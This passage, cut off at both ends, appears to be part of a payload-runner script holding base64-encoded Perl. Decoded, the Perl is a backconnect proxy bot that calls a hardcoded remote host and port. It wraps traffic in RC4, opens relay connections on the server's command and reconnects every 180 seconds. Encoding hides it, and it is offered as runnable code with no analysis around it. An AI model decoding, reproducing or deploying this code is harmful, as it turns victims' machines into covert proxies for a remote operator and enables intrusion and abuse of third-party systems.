A9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_13.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICczNi4yNTUuOTguMTYyJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkg